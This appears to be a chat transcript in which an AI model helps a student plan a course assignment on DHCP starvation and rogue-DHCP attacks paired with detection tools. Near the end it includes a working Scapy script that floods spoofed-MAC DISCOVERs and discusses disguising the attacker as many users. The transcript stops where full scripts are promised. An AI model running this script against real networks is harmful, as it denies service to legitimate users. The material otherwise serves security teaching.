Assignment overview EECE655

Assignment1 (3).pdf
PDF

i have the following assignment that i need your help with, read it carefully.

I've read through your **EECE655 Internet Security – Assignment 1** instructions carefully. Here's a structured breakdown so you're clear on what's expected:

📌 Assignment Overview

- **Course:** EECE655 – Internet Security
- **Instructor:** Imad H. Elhajj
- **Due:** Wednesday, October 1, 2025 @ 5 PM
- **Group Work:** Groups assigned by the instructor (you are with *Mostafa Jammoul*).
- **Goal:** One member builds an **attack tool**, the other builds a **detection tool**.

🚫 Restrictions

- **Not Allowed:**
  - Port scanning
  - ARP cache poisoning
  - Direct flooding (SYN, ICMP, etc.)
- **Expected:**
  - More sophisticated or creative approaches (not just basic flooding/scanning).

🛠️ Requirements

1. **Code Development**
   - Each group must develop code for **both tools**.
   - Libraries can be used, but you must explain **why** they are needed.
   - Code must clearly indicate **which team member wrote what**.
   - Code from outside sources must be **labeled and cited**.
   - If you use Generative AI (e.g., ChatGPT), all relevant lines must be tagged in code comments.
2. **Testing**
   - Must test in a **controlled environment** (not AUB's network).

📦 Deliverables

- **GitHub Repository** (invite *imadhelhajj* & *salamtabet*):
  - Code for both tools.
  - Directory named **AI_Prompts_Outputs**:
    - All prompts + outputs from AI tools.
    - Annotate which outputs you actually used.
- **Documentation (≤ 3 pages):**
  1. Detailed description of tools.
  2. Instructions on how to run them.
  3. Testing results with screenshots.
  4. Clear breakdown of **each member's contributions**.
     - Not allowed: "we all worked together on everything."
- **Video (max 2 minutes):**
  - Demonstrate the tools in action.

📊 Grading Breakdown

- **Tools' complexity & completeness:** 50%
- **Following deliverable requirements:** 20%
- **Video quality & completeness:** 10%
- **Peer assessment + contribution clarity:** 20%
  - Your teammate's evaluation can raise or lower your grade.
  - Minimal contribution → significant penalty.

✅ In summary:
You and your teammate must create **two original tools** (attack + detection), document

them properly, keep all AI use transparent, test them safely, and provide clear evidence of both work and individual contributions.

Would you like me to help you **brainstorm possible attack/detection scenarios** that meet the "sophisticated but not flooding/scanning" requirement? That seems like the first big decision before you start coding.

EECE655L5+Attacks++Countermeasur...
PDF

EECE655L4 Vulnerabilities of Internet ...
PDF

EECE655L3 Know Your Enemy.pdf
PDF

here are some of the courses powerpoints, what do you advise as a suitable topic to do for the project

Great — I went through the three lecture decks you uploaded (Attacks & Countermeasures, Vulnerabilities of Internet Protocols, and Know Your Enemy). Based on your assignment's constraints (no port scanning, no ARP poisoning, no direct SYN/ICMP floods), here are **suitable and creative project topics** that align with the course material:

🔹 Candidate Project Topics

1. TCP Session Hijacking (a.k.a. Mitnick Attack)

- **Attack side:** Inject packets with spoofed sequence/ack numbers into an active TCP session (e.g., Telnet/HTTP). Demonstrate taking over or disrupting an ongoing session.
- **Detection side:** Build a tool that monitors sequence number anomalies or duplicate ACKs in TCP flows to detect hijacking attempts.
- ✅ Allowed: Not simple flooding, more subtle, protocol-level.

---

2. IP Fragmentation Overlap Attack

- **Attack side:** Craft overlapping IP fragments so the target reassembles them incorrectly (classic *Teardrop* or *tiny fragment* attack). This can bypass firewalls or crash systems.
- **Detection side:** Tool inspects fragments for overlaps, unusually small sizes, or total size exceeding 65,535 bytes.
- ✅ Creative, demonstrates protocol design flaws.

---

3. TCP RST Injection (Connection Reset Attack)

- **Attack side:** Send forged TCP packets with the RST flag to prematurely tear down a victim's connection (e.g., break an SSH session).
- **Detection side:** Look for unexpected RST packets in active sessions, especially those with incorrect sequence numbers.
- ✅ Not a flood; precise and detectable.

---

4. ICMP Redirect Attack

- **Attack side:** Send spoofed ICMP redirect messages to trick a host into routing traffic through the attacker (man-in-the-middle).
- **Detection side:** Detect suspicious ICMP redirect messages or unusual sudden route changes.
- ✅ Falls under "more sophisticated MITM."

---

5. DNS Cache Poisoning / Spoofing

- **Attack side:** Send fake DNS responses (with guessed transaction IDs and source ports) to poison the resolver's cache.
- **Detection side:** Detect inconsistent DNS responses (e.g., sudden IP changes for known domains) or mismatched TTLs.

- ✅ Application-layer, very relevant, not excluded.

---

6. DHCP Rogue Server / Starvation

- **Attack side:** Run a fake DHCP server or exhaust the pool of addresses by rapidly requesting IPs with spoofed MACs.
- **Detection side:** Detect multiple requests from random MACs or unexpected DHCP servers.
- ✅ Fits your lab setup (LAN-based, controlled).

🔹 My Recommendation

Since your professor **banned ARP poisoning and simple floods**, I'd suggest going for something **visible but not trivial**. Based on what you uploaded, the **strongest candidates** are:

- **TCP RST Attack** (clean, demonstrable, and easy to detect with a sniffer tool).
- **IP Fragmentation Overlap (Teardrop)** (good balance of creativity and difficulty).
- **DNS Cache Poisoning** (application-level, very relevant, and testable in a small lab).

👉 Do you want me to **shortlist one attack/detection pair** that's both practical to implement in Python/Scapy and impressive for your assignment? I can also sketch the **implementation plan** (attack tool steps + detection tool steps).

i am intrested in topic 6, would i be able to do the whole project on vmware workstation on my laptop? what vms would i need if yes

Yes — you can do the entire **Rogue DHCP / DHCP-starvation** project inside **VMware Workstation** on your laptop, as long as you keep everything on isolated virtual networks (don't touch AUB network). Below I give a practical, ready-to-run lab design (VM list, topology, VMware network settings, VM specs, software to install, testing scenarios, and detection strategy). Use this as a recipe you can implement now.

✅ Short answer

Yes — run everything on VMware Workstation using **host-only / custom VMnets** (or NAT if you know what you're doing) so the experiments remain isolated. You'll need an attacker VM, one or more victim/client VMs, a legitimate DHCP server VM, and a detection/monitoring VM — optional router/firewall VM if you want to show gateway spoofing behavior. This covers both the **attack tool** (rogue DHCP / starvation) and **detection tool** (sniffer/analyzer) entirely in your laptop VMs. (Slides mention DHCP MITM/rogue DHCP as an attack scenario — good match for your assignment).

🔧 Recommended VM list & roles

1. **Attacker VM (Kali or Debian)**
   - Purpose: run your attack tools (rogue DHCP server or DHCP starvation script).
   - Software: Python3, Scapy, dnsmasq (for rogue DHCP server option), or a custom DHCP responder script.
   - Minimal specs: 2 vCPU, 2–4 GB RAM.
2. **Legitimate DHCP Server VM (Debian/Ubuntu or pfSense)**
   - Purpose: act as the normal DHCP server you'll try to undermine.
   - Options: `isc-dhcp-server` or `dnsmasq` on Linux, or pfSense as a router+DHCP.
   - Minimal specs: 1–2 vCPU, 1–2 GB RAM.
3. **Client/Victim VM(s)**
   - Purpose: machines that request IPs (test clients). Use 1–3 clients (Linux + Windows if you want diversity).
   - Software: nothing special; they should be configured to use DHCP.
   - Minimal specs: 1 vCPU, 1–2 GB RAM each.
4. **Detection (Monitor) VM (Ubuntu/Debian) — required**
   - Purpose: run your detection tool (Python+Scapy/Tshark/snort/Suricata or a custom detector).
   - Software: Python3, Scapy, tshark, tcpdump, optionally Snort/Suricata.

- Minimal specs: 2 vCPU, 2–4 GB RAM.

5. **Optional Router / Firewall VM (pfSense / VyOS)**
   - Purpose: if you want to demonstrate rogue DHCP setting gateway to attacker and intercepting traffic.
   - Use if you want a 2-network topology (LAN ← router → Internet).

🗺️ Suggested network topology (simple, safe)

Use VMware's **Virtual Network Editor** to create an isolated VMnet (Host-Only) for the lab.

- **VMnet10 (Host-Only)** — connect Attacker, Legit DHCP Server, Clients, and Detector to this network.
  - All DHCP traffic stays on VMnet10; no real network access is needed.
- Optional: **VMnet11 (Simulated Internet)** — connect to the Router VM if you want two networks and to show gateway spoofing.

Why host-only? prevents accidental leakage to your physical LAN (required by assignment: test off AUB network).

⚙️ VMware settings (practical steps)

1. Open VMware Workstation → **Edit** → **Virtual Network Editor**.
2. Create a **custom host-only network** (e.g., VMnet10). Disable NAT/bridged for this VMnet.
3. For each VM: VM Settings → Network Adapter → Connect to: **Custom: VMnet10**.
4. If you need promiscuous mode on VMware: Enable it in the Virtual Network Editor (Host-only networks can forward traffic to other VMs; confirm VMware settings allow promiscuous mode if doing passive sniffing).
5. Snapshot VMs before experiments (so you can quickly revert).

📦 Software & packages to install

On Linux VMs (apt-based):

- `sudo apt update && sudo apt install -y python3 python3-pip tshark tcpdump scapy`
- For legitimate DHCP server: `sudo apt install isc-dhcp-server` or `dnsmasq`
- For detection advanced: `sudo apt install snort` or `suricata` (optional)
- On Windows client: default DHCP is fine; install Wireshark if you want captures.

You'll implement the attack scripts in Python with Scapy (or use `dnsmasq` for an easier rogue server). Detection can be Python+Scapy or tshark-based.

(Background: lecture slides mention DHCP MiTM/rogue server and DHCP starvation — relevant content).

🧪 Two practical attack scenarios to implement & test

A — Rogue DHCP server (gateway spoofing)

- Attacker runs a DHCP server that responds to DISCOVER/OFFER faster than the legit server, providing gateway/DNS entries pointing to attacker.
- Result: Clients accept rogue offer → configured gateway is attacker → attacker in the middle (can route traffic or drop it).

Test steps

1. Start legit DHCP server on VM A.
2. Boot a client — observe normal DHCP handshake from legit server.
3. Run attacker's DHCP responder on Attacker VM, which replies quickly with malicious options (e.g., gateway = attacker IP).
4. Capture client's DHCP exchange on detector VM to show two offers and client choosing rogue one.

Detection heuristics

- Multiple DHCPOFFERs for same DISCOVER (different servers).
- NEW DHCP server observed on network (server IP not in known list).
- Sudden change in default-gateway option on clients.

B — DHCP Starvation (exhaust pool)

- Attacker rapidly sends many DHCP DISCOVER/REQUEST messages using spoofed MAC addresses to exhaust the DHCP server's lease pool (or force it to stop offering leases).

- Result: new clients can't get an IP.

Test steps

1. Configure limited DHCP pool on legit server (e.g., 10 leases) — makes test deterministic.
2. Run starvation script from attacker that sends thousands of fake DISCOVER/REQUESTs with random chaddr.
3. Start a client and show it fails to obtain lease once pool exhausted.

Detection heuristics

- High rate of DISCOVER/REQUEST messages from many (possibly spoofed) MACs.
- Large number of short-lived leases on server.
- Spike in DHCP traffic rate.

(These behaviors and threat types are covered in course slides describing DHCP attacks and rogue DHCP scenarios).

🛡️ Detection tool: recommended design & features

You should implement a detection tool (Python) that does the following in real time:

1. **Passive capture**: use Scapy or tshark to sniff DHCP packets (UDP ports 67/68).
2. **Statistical detection**:
   - Count number of DISCOVER / REQUEST messages per second. Raise alert if > threshold (e.g., >50/s).
   - Detect **multiple DHCPOFFERs** for a single DISCOVER (shows multiple servers).
   - Detect many unique MAC addresses requesting leases in short time (DHCP starvation).
3. **Whitelist check**: maintain a list of legitimate DHCP server MAC/IPs; alert on unknown server offers.
4. **Logging & screenshots**: write JSON logs + save pcap snippets for evidence (for assignment screenshots).
5. **Optional advanced**: correlate DHCP lease table from legitimate server (parse `/var/lib/dhcp/dhcpd.leases`) to detect many transient leases.

Tools/commands that help: `tcpdump -n -i eth0 port 67 or port 68 -w capture.pcap`, `tshark -r capture.pcap -Y "dhcp"`.

✅ Example detection heuristics/alerts to include in report

- **ALERT: Multiple DHCPOFFERs** — show time, DISCOVER transaction id, offerer IPs.
- **ALERT: Lease exhaustion risk** — show pool utilization > X%.
- **ALERT: High DISCOVER rate** — show rolling window counts.
- **ALERT: New DHCP server detected** — offerer not in whitelist.

These give clear, measurable evidence in screenshots for your 3-page report.

📃 Deliverables coverage (how this maps to assignment requirements)

- **Attack tool**: Python Scapy attacker or dnsmasq rogue DHCP server — code + comments showing who wrote what.
- **Detection tool**: Python sniffer/analyzer (Scapy/tshark) — code + comments.
- **Testing**: run both attacks in the isolated VMnet, capture screenshots (client failing to get IP; client picks rogue gateway; detection alerts).
- **AI usage**: if you use ChatGPT/Copilot for snippets, save prompts and outputs into `AI_Prompts_Outputs/` in repo (assignment requires this).

Practical checklist to get started (do these in order)

1. Create snapshots in VMware.
2. Create custom VMnet (host-only) and connect all lab VMs there.
3. Build and configure Legit DHCP Server (set small pool for testing).
4. Build Attacker VM with Scapy — implement simple rogue DHCP responder or starvation script.
5. Build Detection VM and implement sniffer script; test it capturing basic DHCP traffic.
6. Run experiments; capture screenshots: Wireshark/ tcpdump output, detection alerts, client DHCP behavior.
7. Prepare 3-page document: tools description, run instructions, testing results + screenshots + clear contribution list.

8. Record a ≤2-minute video demo showing attack + detection.

Quick commands / snippets (starter)

Install essentials:

```pgsql
sudo apt update
sudo apt install -y python3 python3-pip tshark tcpdump isc-dhcp-server
pip3 install scapy
```

Sniff DHCP with tshark:

```nginx
sudo tshark -i eth0 -f "udp port 67 or udp port 68" -w dhcp_capture.pcap
```

Simple Scapy sniff (detection skeleton):

```python
from scapy.all import sniff, DHCP, UDP, BOOTP

def dhcp_handler(pkt):
    if DHCP in pkt:
        print(pkt.summary())

sniff(filter="udp and (port 67 or port 68)", prn=dhcp_handler, store=0)
```

(If you want, I can flesh these into complete attack and detection scripts.)

Final notes / warnings

- **Isolation is critical**: use host-only VMnets to avoid affecting any external network.
- **Snapshots**: take snapshots before experiments so you can revert.
- **Legal / ethical**: this is for controlled lab only — don't run on shared/production networks.
- Course slides mention DHCP attacks as classic MITM and starvation vectors — you are aligned to course content.

Want me to:

- generate a complete **DHCP starvation script** (Scapy) + **detection script** (Python) you can paste into your Attacker/Detector VMs, **or**
- produce the step-by-step VMware setup commands and an automated checklist (with exact DHCP config snippets for `isc-dhcp-server`)?

Tell me which one and I'll produce the code and the exact commands ready to run.

okay good, but before that i want to fully understand the topic is it just a malicous user sending alot of request to the dhcp server and making it asif he is several persons or users?

Nice — good question. Short answer: **yes**, DHCP starvation is basically a malicious host pretending to be many different clients and consuming the DHCP server's finite pool of leases so legitimate clients can't get addresses. But there's a bit more to it — below I break down the mechanics, variations, why it works, how clients behave, what the attacker does, what you can detect, and how to mitigate it. I'll keep it practical for your VM lab.

---

1) DHCP basics (quick recap)

- DHCP uses a four-step handshake: **DISCOVER → OFFER → REQUEST → ACK** (client broadcasts DISCOVER; server replies OFFER; client chooses and REQUESTs; server replies ACK with lease and options).
- The server tracks active leases in a finite pool (e.g., 192.168.10.100–192.168.10.109 = 10 addresses). The lease is bound to the client's MAC (chaddr) and a lease time. (Topic appears in your course slides on DHCP/rogue/DHCP attacks).

---

2) DHCP *starvation* (what the attacker does)

- **Goal:** make the legitimate DHCP server run out of free leases.
- **How:** attacker sends a large number of fake DHCP client requests (DISCOVER then REQUEST) while using **spoofed/changing MAC addresses** (the `chaddr` field in BOOTP/DHCP) so the server thinks each request is a distinct client and hands out a new lease each time.
- When the pool is exhausted, real clients cannot obtain an IP (they keep retrying and fail).
- Two practical attacker methods:
  1. **Mass DISCOVER/REQUEST with random MACs** (fast and simple).
  2. Reuse a small set of MACs but rapidly renew and release leases to keep the pool unpredictable.

---

3) Rogue DHCP server (related but different)

- **Goal:** impersonate the DHCP server and give clients malicious options (e.g., default gateway or DNS pointing to attacker).
- **How:** attacker replies with a DHCPOFFER *faster* than legitimate server (or after starvation, clients may accept rogue offers). Attack effect: man-in-the-middle, DNS hijack, route traffic through attacker.
- These two attacks are often combined: first starve the legit server, then bring up a rogue server so clients accept it. Slides cover DHCP MITM/rogue DHCP scenarios.

---

4) Why DHCP servers hand out leases (why attack works)

- DHCP is designed to be simple and to trust layer-2 addresses: servers usually associate leases with client MACs without cryptographic authentication.
- Servers maintain a lease table and will allocate the next free address to a client whose `chaddr` is not already leased. If attacker uses unique MACs, the server treats each as a new client.
- Lease timeout values and server pool size determine how long the attacker needs to run to exhaust the pool.

---

5) Client behavior (what the victim sees)

- A normal client broadcasting DISCOVER will receive OFFER(s). In many client implementations the **first OFFER received** is chosen (some clients may prefer based on server identifier or response timing). If a rogue server replies fastest, the client may pick it.
- If the server pool is empty, client will either:
  - keep trying (timeouts), or
  - fall back to APIPA/self-assigned 169.254.x.x (on Windows), resulting in no network connectivity.
- You can observe this in `/var/lib/dhcp/dhcpd.leases` (isc-dhcp-server) or via `journalctl`/server logs.

---

6) How attackers spoof MACs in practice (lab-style)

- In your VM, you can craft DHCP packets with Scapy and set `chaddr` to any 48-bit value (randomize it).
- Example technique: loop sending DISCOVER/REQUEST with a new random MAC each iteration; sleep very small interval to ramp up requests.
- Be careful: many real NICs/virtual switches may block gratuitous MAC changes on the same physical interface; in VMs this is easy to do because you control the virtual NIC.

---

7) Detection signals you can use (what your detector should watch for)

- **High DISCOVER/REQUEST rate** — e.g., many DHCPDISCOVER per second (threshold depends on normal traffic; in lab you can set a small threshold like 20/s).
- **Large number of unique client MACs** in a short time window (e.g., >N unique MACs in 1 minute).
- **Many short-lived leases** in server lease file / large churn in lease table.
- **Multiple DHCPOFFERs for same DISCOVER** (indicates additional DHCP servers on network → rogue server).

- **Unknown server identifier** in offers (offerer IP/MAC not in whitelist).
- **Clients suddenly change gateway/DNS** (post-boot) — suggests rogue offer accepted. These are exactly the kinds of heuristics you can implement in a Python/Scapy detector.

---

8) Example lab configuration tips to make the attack visible & deterministic

- Set a **very small DHCP pool** on the legit server (e.g., 10 addresses). This makes starvation reproducible.
- Set a **short lease time** (e.g., 5–10 minutes) for testing so churn shows quickly.
- Monitor the server leases file (`/var/lib/dhcp/dhcpd.leases`) or `journalctl -u isc-dhcp-server` while running the attack to show leases being consumed.
- Use a separate **monitor VM** to sniff traffic so you can capture DISCOVER/OFFER/REQUEST/ACK sequences for screenshots.

---

9) Limitations & defenses (so you know what counters exist)

- **Mitigations available in real networks**:
  - **DHCP snooping / port security** on managed switches — restrict which ports can serve DHCP and limit MAC addresses per port.
  - **802.1X** (network access control) — prevents unauthenticated devices from getting network access to send DHCP.
  - **Static reservations** for critical devices.
  - **Rate limiting** or thresholding DHCP requests at edge devices.
  - **Whitelist known DHCP servers**, and block DHCP server responses from other ports.
- In a home laptop VM lab you won't have switch DHCP snooping, so the attacks are easy to simulate — which is what makes the lab good for demonstration.

---

10) Ethics & safety

- Run the experiment **only** on isolated VM networks (host-only / private VMnet). Do **not** run DHCP starvation or rogue DHCP on any shared/production network — it will disrupt other machines and is unethical/illegal. (We already planned host-only VMnet for your lab.)

TL;DR (one-sentence)

Yes — DHCP starvation is a malicious client sending many DHCP requests with spoofed MACs to consume the server's lease pool so legitimate clients can't get IPs; a rogue DHCP attack is similar in spirit but instead tries to give clients malicious network config (gateway/DNS) — both are easy to simulate in your VM lab and detectable by monitoring DHCP message rates, unusual MAC churn, unknown DHCP servers, and rapid lease changes.

Would you like me to now:

- produce a **concrete Scapy DHCP-starvation script** (ready-to-run in your Attacker VM) **and** a matching **detector script** (for the Monitor VM) — with comments showing authorship for your assignment, **or**
- first show a packet-level example walk-through of DISCOVER/OFFER/REQUEST/ACK so you can see what fields to spoof?

I can just generate both scripts now if you want — ready to paste into your VMs.

> but wouldnt the dhcp server or IT be able to pinpoint the ip sending in all of these requests?

Great question — and an important one for both attackers and defenders. Short answer: **Yes — on a real managed network an administrator can usually trace DHCP-starvation traffic back to the physical port (or host/VM) that generated it, even if the attacker spoofs many MAC addresses.** But *how* that trace is performed, what evidence is available, and how easy it is depends on the network equipment and logging you have. Below I explain exactly what gets spoofed, what the DHCP server sees, what the switch/host sees, and how admins can and do pinpoint the origin — plus what that means for your lab project and the detection tool you should implement.

What the attacker can and cannot hide

- **Attacker can spoof the DHCP client hardware address (`chaddr`)** inside the DHCP/BOOTP payload. That means the DHCP server's lease table and logs will show **many different client MACs** (the spoofed values). This is why servers hand out many leases.
- **But DHCP requests are Ethernet frames**. On an Ethernet segment, the network (switch) uses the *frame's source MAC* and the *physical ingress port* to populate the MAC (CAM) table. When you send a frame with a spoofed MAC, that spoofed MAC becomes the source MAC observed by the switch — and it will map that spoofed MAC to the physical port where it arrived. If the attacker sends lots of different source MACs from a single physical/virtual port, the switch will (temporarily) map many MACs to that one port.
- **So although the server's lease database is confused by fake `chaddr` values, the network infrastructure (switch/router/virtual switch) still knows which port the frames came from.** Network logs, SNMP, or switch CLI can reveal that port. On a hypervisor, the hypervisor or host OS can identify the VM that sent the traffic.

Evidence sources defenders can use to pinpoint the attacker

1. **Switch CAM/MAC table (show mac address-table)**
   - Look for the many MAC addresses learned on a single port. If dozens or hundreds of MACs are all associated with the same switch port, that port is suspicious.
2. **Port statistics / frame counts**
   - The offending port will show very high packet rate/bytes.
3. **DHCP server logs**
   - Logs show time, transaction id, and client hardware address field (chaddr) — useful to correlate with packet captures.
4. **Port mirroring / packet capture at switch or router**
   - A capture on the suspicious ingress port will show that all DHCPDISCOVER/REQUEST frames physically came from the same wire/VM, regardless of spoofed chaddr.
5. **Hypervisor / virtual switch logs (VMware vSwitch / ESXi)**
   - In a virtual environment you can inspect the vSwitch or host to see which VM sent the traffic and export pcap from the host.
6. **802.1X/port-security counters (if enabled)**
   - Port-security may flag multiple MACs per port and may even shut the port down.
7. **ARP and higher-layer anomalies**
   - Spoofed MACs will create inconsistent ARP behavior and can be correlated across captures.

Result: combining DHCP logs + switch/hypervisor traces will usually allow admins to identify the *physical/virtual source port* and the host/VM generating the malicious traffic.

Practical notes for your VM lab (what to demonstrate)

- **In your VM lab you can show both sides**:
  - On the DHCP server: the lease file showing many different chaddr entries being given leases (this demonstrates starvation).
  - On the hypervisor / host or the virtual switch: a packet capture showing that **all frames with different chaddr values arrived on the same VMnet/port and came from the Attacker VM's vNIC**. This proves that spoofing chaddr does *not* hide the origin at the physical/virtual switching layer.
- **How to capture this in VMware Workstation lab**:
  - Enable promiscuous capture on the host-only VMnet and run `tcpdump` / `tshark` at the host or on the Monitor VM with port-mirroring (or capture on the Attacker VM's interface before your spoofing code changes the chaddr in the payload).
  - Show `esxcli` /vSphere/vSwitch logs or VMware Workstation's network adapter statistics if possible, or simply capture at the Monitor VM that is on the same VMnet — you'll see all DHCP frames originate from the same MAC at the Ethernet layer (the virtual NIC's real MAC) even though the DHCP payload `chaddr` values differ. (This is an important screenshot to include in the report.)

Forensic + detection takeaways (what to implement in your detector/report)

- **Detection heuristics should include correlating DHCP-level anomalies with ingress-port consistency**:
  - If you see many unique DHCP `chaddr` values **but** the layer-2 source (switch port / host) is a single location, raise a higher-severity alert.
- **Add correlation to your detector**: in your lab, have the detector optionally read host/vSwitch counters (or include a step where you show packet capture on the host) to show single-source origin. For the assignment, document that the DHCP server alone showed many MACs, but host-level capture pinpointed the attacker VM.
- **Discuss mitigations** (include in your report): DHCP snooping, port security (limit MACs per port), 802.1X, rate-limiting DHCP requests, and logging/alerting on MAC churn. These are the real-world controls that would let network admins locate and stop the attacker.

Example scenario you can include as proof in your report

1. Start legitimate DHCP server with pool of 10 addresses.
2. Start attacker script that sends DISCOVER/REQUEST with random `chaddr` values. DHCP server logs show leases consumed for many MACs. (screenshot #1: `dhcpd.leases`)
3. On Monitor VM (or hypervisor), capture traffic on the VMnet and filter for DHCP — you will see DHCP frames with different `chaddr` values but the same **Ethernet source** or the same ingress port. (screenshot #2: `tshark` output showing frame-level source port and packet count).
4. Show switch/host MAC table or vSwitch statistics mapping lots of MACs to the single attacker port. (screenshot #3).
   This chain of evidence demonstrates traceability from DHCP logs → packet capture → switch/vSwitch mapping → attacker VM.

Short final summary

- DHCP starvation *does* fool the DHCP server by using spoofed client MACs (so the server thinks many clients are requesting leases), but it **does not make the attacker untraceable**: network infrastructure (switches, hypervisors) can tie those frames to a single ingress port or VM.
- For your project, **include a demonstration** that shows both the server-side lease confusion and the network-side trace to the attacking VM — this strengthens your report and shows you understand both the attack mechanics and forensic detection.

Would you like me to:

- generate the **attacker script** (Scapy) that spoofs `chaddr` and the **detector** with correlation logic that flags “many unique chaddr but same ingress port”?
- OR show the exact `tshark` / `tcpdump` capture commands and example filters you can use to capture the host-level evidence (so you can get the screenshots for the report)?

when the attacker sends alot of requests can i send different mac addresses so that i can trick the it or network team to think its several legit users from different devieces connecrting

Short answer: **Yes — technically you can send DHCP requests with different (spoofed) MAC addresses so the DHCP server shows many different “clients,” and that *can* initially look like many legit devices — but it’s not a foolproof way to “convince” IT the traffic is from many users.** Network infrastructure and logging leave traces (switch port, ingress statistics, MAC learning churn, host/vSwitch logs) that let admins detect and trace the real origin. Below I explain *how it works*, *how to do it safely in your lab*, *how defenders can detect and trace it*, and *ethical/legal* notes you must follow.

How spoofing MACs works (what you change and what the server sees)

- **DHCP payload (`chaddr`)** — this is the client hardware address field inside the DHCP/BOOTP message. If you set `chaddr` to different values each request, the **DHCP server** records those values in its leases and logs, so it looks like many different MACs asked for leases.
- **Ethernet frame source MAC** — every Ethernet frame also has a layer-2 source MAC in the frame header. Switches and hypervisors observe this and associate it with the ingress port. If you craft packets in userland (e.g., Scapy) you can set both the Ethernet `src` and the DHCP `chaddr` independently; some network stacks/hypervisors may override forged Ethernet `src` values, others allow them (see VM settings note below).
- **Result:** the DHCP server may show many distinct client MACs, but the switching infrastructure typically sees the same *physical* or *virtual* ingress port for all those frames. That mismatch is what defenders use to detect and locate the attacker.

In VM lab: how attackers spoof MACs (high level)

- In a VM you can either:
  - change the VM's virtual NIC MAC in the VM settings (one per VM) and send requests using different DHCP `chaddr` values in the payload; or
  - craft complete frames with Scapy (`Ether(src=...) / IP(...) / UDP(...) / BOOTP(chaddr=...) / DHCP(...)`) and send them with `sendp()` so the packet leaves with the Ethernet `src` you specified — *but* some hypervisors or virtual switches block forged transmits by default (they may reset/replace the Ethernet `src` to the VM's configured MAC).
- **VMware note:** Workstation has virtual network/security settings that can block or allow forged transmits and promiscuous mode. For lab use you may need to enable those settings (Virtual Network Editor → allow promiscuous or forged transmits) so your Scapy frames keep the forged MACs. Always snapshot and isolate the VMnet.

> Important: do this **only** on a host-only / isolated VMnet. Never run such spoofing on a production/shared network.

Why admins can still find you (tracing & detection)

Even if you spoof many MACs, defenders can usually find the real source using:

1. **Switch MAC table (CAM table):** lots of learned MACs all tied to the same physical port is a red flag.
2. **Port statistics / packet rates:** the port with the huge number of DHCP frames (high packet/sec) points to the origin.
3. **Port mirroring capture:** capturing on that ingress port shows all the DHCP frames physically arriving there (with various `chaddr` but same ingress).
4. **Hypervisor / host logs:** virtual switches and hypervisors log which VM used which vNIC.
5. **DHCP + switch correlation:** correlate DHCP logs (which show the fake `chaddr` values and timestamps) with switch captures (which show frames coming from a single port).
6. **MAC churn patterns:** normal ports don't learn hundreds of different MACs in seconds; rate and churn are suspicious.
7. **ARP/traffic correlation:** afterwards you can trace IP-to-MAC or other higher-layer interactions to locate the host.

So spoofing MACs hides identity at the *DHCP server lease table* level but **not** at the physical/virtual network layer.

Detection signals you should expect defenders to use (and that you should implement in your detector)

- **High DISCOVER/REQUEST rate** (e.g., >X per second).
- **Many unique `chaddr` values** observed in a short window (e.g., >N unique MACs in 60s).
- **MAC churn on a single port:** many different MACs learned on the same ingress port.
- **Multiple DHCPOFFERs** or unexpected DHCP servers appearing.
- **Short-lived leases churn** in DHCP server lease file.
- **Ingress port packet/byte counters spiking.**

For your project, implement detectors that flag combinations (e.g., many unique `chaddr` **and** one ingress port with very high packets/sec) — this will demonstrate that spoofing alone doesn't fully disguise the attacker.

Practical demonstration idea for your report (shows both deception and traceability)

1. Configure the legit DHCP server with a **small pool** (e.g., 10 addresses) and short lease time.
2. From Attacker VM run a script that sends DISCOVER/REQUEST with random `chaddr` values. Capture server leases (show many fake MACs assigned).
3. On a Monitor VM capture at the switch/VMnet to show all those DHCP frames arriving from the same VMnet/ingress (same physical vNIC or same host-level src).
4. Show switch/mac-table (or VMnet statistics) mapping many MACs to one port — demonstrates traceability.
5. Conclude: DHCP server logs were misleading, but network-level evidence points to the attacker.

Including those screenshots and the correlation logic will make your assignment report solid.

Ethical & legal reminder (must state in report)

- Spoofing MACs and interfering with DHCP on *any* real/shared/production network is malicious and may be illegal.
- **Only run the attack on isolated VMnets you control** (host-only/custom VMnet).
- Document your isolation steps in the repo so graders know you followed safety/ethical rules.

If you want to try this in your lab (safe steps)

- Use a **host-only VMnet** and enable forged transmits only for that VMnet if needed.
- Implement attacker as a script that *randomizes only the DHCP `chaddr` field*. That's sufficient to demonstrate the server-side effect without attempting to forge Ethernet `src` (which might be blocked by VM settings).
- Run Monitor VM to capture traffic at the host/VMnet level and show the single-origin evidence.

Short Scapy example (lab-only) — how to craft DHCP DISCOVER with random `chaddr`

Use this **only** in your isolated lab. Comments show intent and authorship for your assignment.

```python
# lab_only_dhcp_discover.py  -- (lab use only; do not run on public/shared
networks)
# Author: <YourName> (Attacker script for EECE655 assignment)
from scapy.all import *
import random, time

def random_mac():
    return ':'.join("%02x" % random.randint(0,255) for _ in range(6))

def send_discover(iterations=100, delay=0.02):
    for i in range(iterations):
        mac = random_mac().replace(':','')
        # BOOTP.chaddr expects 16-byte field; scapy will accept bytes
        bootp = BOOTP(op=1, chaddr=mac)
        dhcp = DHCP(options=[("message-type","discover"), "end"])
        pkt = Ether(src="aa:bb:cc:dd:ee:ff")/IP(src="0.0.0.0",
dst="255.255.255.255")/UDP(sport=68,dport=67)/bootp/dhcp
        # Note: Ether(src=...) may be ignored/overridden by hypervisor; chaddr
will be inside BOOTP
        sendp(pkt, iface="eth0", verbose=False)
        time.sleep(delay)

if __name__ == "__main__":
    send_discover(iterations=500, delay=0.01)
```

- This example randomizes `chaddr` (shown in BOOTP) so the DHCP server will see many different client MACs.
- If `Ether(src=...)` is ignored by the VM/hypervisor, the kernel/virtual switch may use the VM's real vNIC MAC; that's fine — you'll demonstrate that the server's lease file shows many spoofed MACs while the switch shows the same port origin.

Final advice

- If your goal is to convincingly "blame" many users in a real network — don't do that. It's unethical and traceable.
- For the assignment: **simulate** the deceptive appearance (many MACs seen by DHCP server) *and* **prove** traceability (capture and correlate to a single VM/port). That combination demonstrates both attack mechanics and defensive reality — exactly what graders will want to see.

—

Want me to:

- generate a complete attacker script + safer alternative that only modifies DHCP `chaddr` (no forged Ethernet `src`) **and** a detector script that correlates DHCP anomalies with ingress-port evidence?
- or give exact VMware Workstation settings you must enable (forged transmits / promiscuous) and the tshark/tcpdump commands to capture the needed screenshots?

okay i want to be able to demo this in a attack vs detector tool like envroment

Awesome — I'll give you a **complete, ready-to-run demo setup** you can use in your VM lab: an **Attacker** script (DHCP starvation using randomized `chaddr`) and a **Detector** script (sniffs DHCP, raises alerts for high DISCOVER/REQUEST rate, many unique MACs, and multiple offers). I'll also include exact run instructions, which VM runs which script, how to capture the host-level evidence you'll need for the report, and what screenshots to take for the 3-page writeup.

